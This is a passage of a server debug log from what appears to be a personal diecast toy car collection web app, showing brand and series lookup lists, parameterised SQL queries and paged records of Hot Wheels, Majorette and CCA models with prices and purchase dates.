  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-14T05:54:05.077Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-14T05:54:05.080Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-14T05:54:05.080Z server-connect:app Executing action step select
2026-07-14T05:54:05.080Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-14T05:54:05.082Z server-connect:output restrict: undefined
2026-07-14T05:54:05.082Z server-connect:app Executing action step select
2026-07-14T05:54:05.083Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-14T05:54:05.083Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-14T05:54:05.087Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-14T05:54:05.090Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T05:54:08.483Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:08.483Z server-connect:app Executing action step identify
2026-07-14T05:54:08.483Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:08.484Z server-connect:output identity: 1
2026-07-14T05:54:08.484Z server-connect:app Executing action step restrict
2026-07-14T05:54:08.484Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:08.484Z server-connect:output restrict: undefined
2026-07-14T05:54:08.484Z server-connect:app Executing action step paged
2026-07-14T05:54:08.484Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:08.488Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 3,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: null,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: null,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: null,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-14T05:54:15.360Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:15.361Z server-connect:app Executing action step identify
2026-07-14T05:54:15.361Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:15.361Z server-connect:output identity: 1
2026-07-14T05:54:15.361Z server-connect:app Executing action step restrict
2026-07-14T05:54:15.361Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:15.362Z server-connect:output restrict: undefined
2026-07-14T05:54:15.362Z server-connect:app Executing action step paged
2026-07-14T05:54:15.362Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:15.367Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 84,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 75 },
    current: 1,
    total: 4
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
